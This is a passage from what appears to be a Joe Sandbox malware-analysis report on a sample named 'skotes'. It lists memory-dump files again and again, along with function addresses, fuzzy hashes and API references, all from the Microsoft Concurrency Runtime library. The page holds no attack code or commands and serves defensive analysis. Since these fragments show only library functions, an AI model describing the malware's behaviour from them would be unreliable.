Associated: 00000006.00000002.3010377182.0000000000E50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010992496.0000000000E51000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011439579.0000000000E65000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011913131.0000000000E66000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012319478.0000000000E67000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012781101.0000000000E6A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013389253.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013789919.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: FreeProcessorVirtual$Concurrency::details::ListRootRoot::std::invalid_argument::invalid_argument
String ID: pExecutionResource
API String ID: 1772865662-359481074
Opcode ID: 0edaeb9f77e0f6f21809e1c69ad003384985ac21cb13618f9d1193f2afbe8548
Instruction ID: 5588b73e1c9c90b88b937f10a4c7770aad99d1f7c2a25e29c01dc6845e1050e9
Opcode Fuzzy Hash: 0edaeb9f77e0f6f21809e1c69ad003384985ac21cb13618f9d1193f2afbe8548
Instruction Fuzzy Hash: 802194756402059BCF08FF68C892BADB7E5BF88310F1440A9F505AB392DBB4AE15CB95

Function 00B94EA2 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 74COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 00B94F24
Concurrency::details::CacheLocalScheduleGroupSegment::CacheLocalScheduleGroupSegment.LIBCONCRT ref: 00B94F66

Strings

count, xrefs: 00B94EBA
ppVirtualProcessorRoots, xrefs: 00B94F1C

Memory Dump Source

Source File: 00000006.00000002.2984323446.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2983995177.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2984323446.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985561231.0000000000BD9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985994807.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986435315.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986883860.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987321679.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989978490.0000000000D36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990446150.0000000000D38000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D4C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991936704.0000000000D6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992473943.0000000000D73000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992977664.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993415482.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993816532.0000000000D8A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994245652.0000000000D8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994657940.0000000000D8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2995317174.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996099396.0000000000DB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996583048.0000000000DB8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2997154485.0000000000DC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998074802.0000000000DC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998481887.0000000000DC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998872967.0000000000DC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2999350435.0000000000DDC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000256490.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000643123.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001275694.0000000000DEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001813416.0000000000DEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3004374319.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3005279023.0000000000DF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3006336244.0000000000DF8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007407136.0000000000E07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007860047.0000000000E08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008391608.0000000000E18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E38000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010377182.0000000000E50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010992496.0000000000E51000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011439579.0000000000E65000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011913131.0000000000E66000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012319478.0000000000E67000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012781101.0000000000E6A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013389253.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013789919.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: CacheGroupLocalSchedule$Concurrency::details::SegmentSegment::std::invalid_argument::invalid_argument
String ID: count$ppVirtualProcessorRoots
API String ID: 2663199487-3650809737
Opcode ID: 62d961dd595c8cc5c781f6b564d0c20e93ba302cb9d86f6ef1a49c3356ee1a59
Instruction ID: b7441faa781801f6a62eeb4eb0c76a562a9c7793b4077ebbda0e7c010390a25f
Opcode Fuzzy Hash: 62d961dd595c8cc5c781f6b564d0c20e93ba302cb9d86f6ef1a49c3356ee1a59
Instruction Fuzzy Hash: 59217135600515EFCF14EFA8C892EAD77F5FF49310F1040ADE506976A1DB71AA02CB51

Function 00B9B975 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 64COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 00B9BA0E

Strings

RoInitialize, xrefs: 00B9B998
combase.dll, xrefs: 00B9B983, 00B9B988, 00B9B99D, 00B9B9C8
RoUninitialize, xrefs: 00B9B9C1

Memory Dump Source

Source File: 00000006.00000002.2984323446.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2983995177.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2984323446.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985561231.0000000000BD9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985994807.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986435315.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986883860.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987321679.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989978490.0000000000D36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990446150.0000000000D38000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D4C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991936704.0000000000D6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992473943.0000000000D73000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992977664.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993415482.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993816532.0000000000D8A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994245652.0000000000D8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994657940.0000000000D8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2995317174.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996099396.0000000000DB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996583048.0000000000DB8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2997154485.0000000000DC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998074802.0000000000DC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998481887.0000000000DC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998872967.0000000000DC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2999350435.0000000000DDC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000256490.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000643123.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001275694.0000000000DEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001813416.0000000000DEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3004374319.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3005279023.0000000000DF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3006336244.0000000000DF8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007407136.0000000000E07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007860047.0000000000E08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008391608.0000000000E18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E38000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010377182.0000000000E50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010992496.0000000000E51000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011439579.0000000000E65000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011913131.0000000000E66000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012319478.0000000000E67000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012781101.0000000000E6A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013389253.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013789919.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error
String ID: RoInitialize$RoUninitialize$combase.dll
API String ID: 348560076-3997890769
Opcode ID: f5f128b527fc0f455704268001ecbbdbffeb39dd30cd33ebf06ca2a69be9e978
Instruction ID: 5795fe3531874727f9daa473084fcfdf7cc764320d8d445857772fd858befb23
Opcode Fuzzy Hash: f5f128b527fc0f455704268001ecbbdbffeb39dd30cd33ebf06ca2a69be9e978
Instruction Fuzzy Hash: DF01D261A9231969DF28BBB59D0AFAB36CC9F03310F2018BAB540E7191FF69C80046A5

Function 00B96E1C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 61COMMON

Download Yara Rule

APIs

SafeRWList.LIBCONCRT ref: 00B96E73

Part of subcall function 00B94E6E: Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 00B94E7F
Part of subcall function 00B94E6E: List.LIBCMT ref: 00B94E89

std::invalid_argument::invalid_argument.LIBCONCRT ref: 00B96E85
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 00B96EAA

Strings

eventObject, xrefs: 00B96E7D

Memory Dump Source

Source File: 00000006.00000002.2984323446.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2983995177.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2984323446.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985561231.0000000000BD9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985994807.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986435315.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986883860.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987321679.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989978490.0000000000D36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990446150.0000000000D38000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D4C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991936704.0000000000D6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992473943.0000000000D73000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992977664.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993415482.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993816532.0000000000D8A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994245652.0000000000D8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994657940.0000000000D8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2995317174.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996099396.0000000000DB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996583048.0000000000DB8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2997154485.0000000000DC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998074802.0000000000DC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998481887.0000000000DC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998872967.0000000000DC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2999350435.0000000000DDC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000256490.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000643123.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001275694.0000000000DEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001813416.0000000000DEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3004374319.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3005279023.0000000000DF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3006336244.0000000000DF8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007407136.0000000000E07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007860047.0000000000E08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008391608.0000000000E18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E38000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010377182.0000000000E50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010992496.0000000000E51000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011439579.0000000000E65000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011913131.0000000000E66000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012319478.0000000000E67000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012781101.0000000000E6A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013389253.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013789919.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: List$AcquireConcurrency::details::_Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorLock::_ReaderSafeWriteWriterstd::invalid_argument::invalid_argument
String ID: eventObject
API String ID: 1288476792-1680012138
Opcode ID: 6e6976c2b72f04262c190547c35bfba14ac95beadc7fe3d6f8e5519a72c4a407
Instruction ID: 95503a472ca35d3e1e31ca71ab549c08e10bc70184f8a55f5bac6d714fe2edac
Opcode Fuzzy Hash: 6e6976c2b72f04262c190547c35bfba14ac95beadc7fe3d6f8e5519a72c4a407
Instruction Fuzzy Hash: 50110475A40208E7DF28FBA4CC8AFEE73E89F01740F2045A9B514B60E1DBB49A04CA75

Function 00B9A0EE Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35threadCOMMON

Download Yara Rule

APIs

Concurrency::details::SchedulerProxy::GetCurrentThreadExecutionResource.LIBCMT ref: 00B9A102
Concurrency::details::ResourceManager::RemoveExecutionResource.LIBCONCRT ref: 00B9A126
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00B9A139

Strings

pScheduler, xrefs: 00B9A131

Memory Dump Source

Source File: 00000006.00000002.2984323446.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2983995177.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2984323446.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985561231.0000000000BD9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985994807.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986435315.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986883860.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987321679.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989978490.0000000000D36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990446150.0000000000D38000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D4C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991936704.0000000000D6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992473943.0000000000D73000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992977664.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993415482.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993816532.0000000000D8A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994245652.0000000000D8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994657940.0000000000D8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2995317174.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996099396.0000000000DB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996583048.0000000000DB8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2997154485.0000000000DC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998074802.0000000000DC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998481887.0000000000DC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998872967.0000000000DC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2999350435.0000000000DDC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000256490.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000643123.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001275694.0000000000DEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001813416.0000000000DEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3004374319.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3005279023.0000000000DF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3006336244.0000000000DF8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007407136.0000000000E07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007860047.0000000000E08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008391608.0000000000E18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E38000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010377182.0000000000E50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010992496.0000000000E51000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011439579.0000000000E65000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011913131.0000000000E66000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012319478.0000000000E67000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012781101.0000000000E6A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013389253.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013789919.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: Resource$Concurrency::details::Execution$CurrentManager::Proxy::RemoveSchedulerThreadstd::invalid_argument::invalid_argument
String ID: pScheduler
API String ID: 246774199-923244539
Opcode ID: 3b515c749ac26429eab911f8cdaa07bd1f3a6da302aeefc5b5e3428602947876
Instruction ID: d1b786fd5c10721cb5eaf9a1d0ba5ab175a3b72f32803c8d1a97bb0f514b4d72
Opcode Fuzzy Hash: 3b515c749ac26429eab911f8cdaa07bd1f3a6da302aeefc5b5e3428602947876
Instruction Fuzzy Hash: 9BF05936A00214A7CF20FA54DC83C9EB7F89E82B10B1081FDE40533291DF70AE05C6E2

Function 00BACBDF Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00BACC66

Memory Dump Source

Source File: 00000006.00000002.2984323446.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2983995177.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2984323446.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985561231.0000000000BD9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985994807.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986435315.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986883860.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987321679.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989978490.0000000000D36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990446150.0000000000D38000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D4C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991936704.0000000000D6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992473943.0000000000D73000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992977664.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993415482.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993816532.0000000000D8A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994245652.0000000000D8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994657940.0000000000D8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2995317174.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996099396.0000000000DB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996583048.0000000000DB8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2997154485.0000000000DC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998074802.0000000000DC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998481887.0000000000DC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998872967.0000000000DC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2999350435.0000000000DDC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000256490.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000643123.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001275694.0000000000DEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001813416.0000000000DEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3004374319.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3005279023.0000000000DF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3006336244.0000000000DF8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007407136.0000000000E07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007860047.0000000000E08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008391608.0000000000E18000.00000080.00000001.01000000.00000007.sdmpDownload File
